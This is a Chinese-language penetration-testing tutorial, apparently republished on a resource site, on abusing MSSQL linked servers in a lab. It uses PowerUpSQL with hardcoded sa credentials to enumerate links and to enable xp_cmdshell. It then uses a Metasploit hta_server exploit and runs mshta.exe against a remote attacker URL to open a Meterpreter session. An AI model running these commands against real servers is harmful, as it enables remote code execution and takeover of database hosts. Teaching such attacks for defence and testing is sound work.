MSSQL渗透测试:违规使用链接数据库

2021-09-14 0 5,375

内容一览表

  • 链接服务器简介
  • 实验环境配置
  • 利用链接服务器
    枚举
    使用PowerUpSQL和Metasploit进行代码执行

链接服务器简介

一个链接的服务器作为两个服务器之间的桥梁。通过一个链接,服务器数据库可以被两个或更多可以访问上述数据库的服务器查看/共享/编辑。表中的数据可以被连接在一起,并通过它进行查询。链接服务器是为那些需要对数据的存储和检索方式有更多灵活性的应用而设计的。无论应用程序是使用并行处理、随机查询,还是在多个Microsoft Access文件之间进行连接,关联服务器都为灵活的应用开发提供了一个更好的平台。来自多个来源的数据可以被添加到一个表中,或者附加到现有的数据上。你可以使用一个链接服务器来代替一个普通的表,就像你在复制一个现有的数据库表时可能做的那样。 以下事情可以通过链接服务器来完成。

  • 控制查询计划
  • 改变列的数据类型
  • 优化远程服务器上的查询
  • 改变本地表的计划
  • 访问远程表的数据
  • 删除本地数据库上的对象
  • 改变用于访问本地表的服务器
  • 重新连接到一个链接的服务器
  • 使用复制的参数
  • 允许远程更新

实验环境配置

我们将首先建立一个链接服务器。 在安装MSSQL服务器时,会自行创建一个默认服务器。但是我们需要另一个服务器,这样我们就可以把它们两个联系起来。因此,要创建另一个服务器,启动安装程序,并选择“New SQL Server Stand-alone installation or and add features to an existing installation”(新的SQL Server独立安装或并向现有安装添加功能),如下图所示:
MSSQL渗透测试:违规使用链接数据库
然后点击“Next”(下一步)按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
在对话框的下一个窗口中,选择“Perform a new installation of SQL Server 2016”(执行SQL Server 2016的新安装),然后单击“Next”(下一步)按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
在功能选择对话框中,选择要安装的功能,并给出实例的路径。然后,点击“Next”(下一步)按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
在实例配置对话框中,给出服务器的名称,然后单击“Next”(下一步)按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
在“服务器配置”对话框中,确保启动是自动的,然后单击“Next”(下一步)按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
在“数据库引擎配置”对话框中,选择“身份验证模式”下的“混合模式”,并给出服务器的密码。点击“Next”(下一步)按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
安装完成后,单击”Close”(关闭)按钮;如下图所示:
MSSQL渗透测试:违规使用链接数据库
现在要连接到服务器,请在”Authentication”(身份验证)的下拉菜单中选择” <Browse for more…> “(<浏览更多…>)选项,如下图所示:
MSSQL渗透测试:违规使用链接数据库
选择您的服务器,然后单击”OK”(确定)按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
正如您在下图中看到的,我们有两台服务器:
MSSQL渗透测试:违规使用链接数据库
现在转到”server>Servere Objects>Linked Servers”(主服务器>服务器对象>链接服务器)。右键单击链接服务器,并从下拉菜单中选择”New Linked Server… “(新建链接服务器…)选项,如下图所示:
MSSQL渗透测试:违规使用链接数据库
在“链接服务器”选项中,给出要链接的服务器的名称。在”Server Type”(服务器类型)中,选择”Other data source”(其他数据源)。从”Provider”(提供程序)的下拉菜单中选择“来自SQL Server的Microsoft OLE DB提供程序”。将默认服务器作为数据源,并在”Catalog”(目录)中给出数据库名称。最后,点击“OK”(确定)按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
在服务器选项中,确保RPC和RPC输出为真,如下图所示:
MSSQL渗透测试:违规使用链接数据库
在“安全”选项卡中,给出默认服务器的用户名和密码,然后单击“确定”按钮,如下图所示:
MSSQL渗透测试:违规使用链接数据库
完成所有这些后,将创建如下图所示的链接服务器:
MSSQL渗透测试:违规使用链接数据库

利用链接服务器

枚举
现在我们的链接服务器已经准备好了。作为攻击者,我们对服务器一无所知。因此,为了枚举链接服务器,我们将使用PowerUpSQL及其以下命令:

1
2
Import-Module .PowerUpSQL.ps1
Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQKSQLEXPRESS -Verbose

MSSQL渗透测试:违规使用链接数据库
如上图所示,我们有实例名、链接服务器名和目录名以及其他有用的信息。
代码执行
现在,为了远程访问链接的服务器,我们将使用PowerUpSQL和Metasploit。事实证明,这两个工具是攻击MSSQL Servers的最佳工具。

在部署这些工具之前,我们可以转到facets >surface area configuration,并确认XPCmdshell已禁用,如下图所示: MSSQL渗透测试:违规使用链接数据库
现在,我们将通过使用PowerUpSQL的以下命令来启用这个XPCmdshell:

1
Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQKSQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"

MSSQL渗透测试:违规使用链接数据库
现在已经启用了XPCmdshell,我们将使用Metasploit生成一个带有hta_server漏洞的URL(网址),为此使用以下命令集:

1
2
3
use exploit/windows/misc/hta_server
set srvhost eth0
exploit

MSSQL渗透测试:违规使用链接数据库
我们有了自己的URL。现在,我们将通过PowerUpSQL执行这个URL,这样我们就可以有自己的Meterpreter会话,如下图所示。要部署所述网址,请使用以下命令:

1
Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQKSQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"

MSSQL渗透测试:违规使用链接数据库
一旦命令被成功执行,我们将拥有如下图所示的meterpreter会话:
MSSQL渗透测试:违规使用链接数据库
通过这种简单的方式,链接服务器可以被利用,并将会话交给攻击者。
参考资料:https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-link-crawling-powerupsql/

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

注:在使用本系统时,使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可,禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责。

83源码 WEB安全 MSSQL渗透测试:违规使用链接数据库 https://www.83ym.com/52.html

认准唯一TG:@ym830

常见问题
  • 站内所有资源,针对不同等级VIP会员可直接下载,特殊资源商品会注明是否免费,指会员所享有根据选择购买的会员选项所享有的特殊服务,具体以本站公布的服务内容为准。
查看详情
  • 按照我国的法律规定,运营网络棋牌首先需要成立一个注册正规备案的公司,然后申请网站备案、文网文、ICP等等,这些证件缺一不可。 一.注册公司 在当地工商进行注册,公司名称以“XX科技有限公司”为名,如:富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二.域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案,因此棋牌运营商在购买了域名后,就要到当地网监局办理网站备案,或者请服务器提供商代为备案。 三.申请文网文 文网文全称为网络文化经营许可证,是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级(省、直辖市、自治区)的文化行政部门提出申请,并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万,并提供游戏版权证明文件。 四.申请ICP ICP又称为增值电信业务许可证,所有网络游戏运营商均需要办理ICP许可证,此证件要求公司注册资金1000万,需到当地市级通讯管理局办理。 五.申请文网游——游戏备案 根据《网络游戏管理暂行办法》(文化部第49号)的规定,国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司,不光要具备所有的正规资质,而且会对投资者、代理商等合作伙伴给予相关指导和协助,与合作伙伴携手共赢!
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务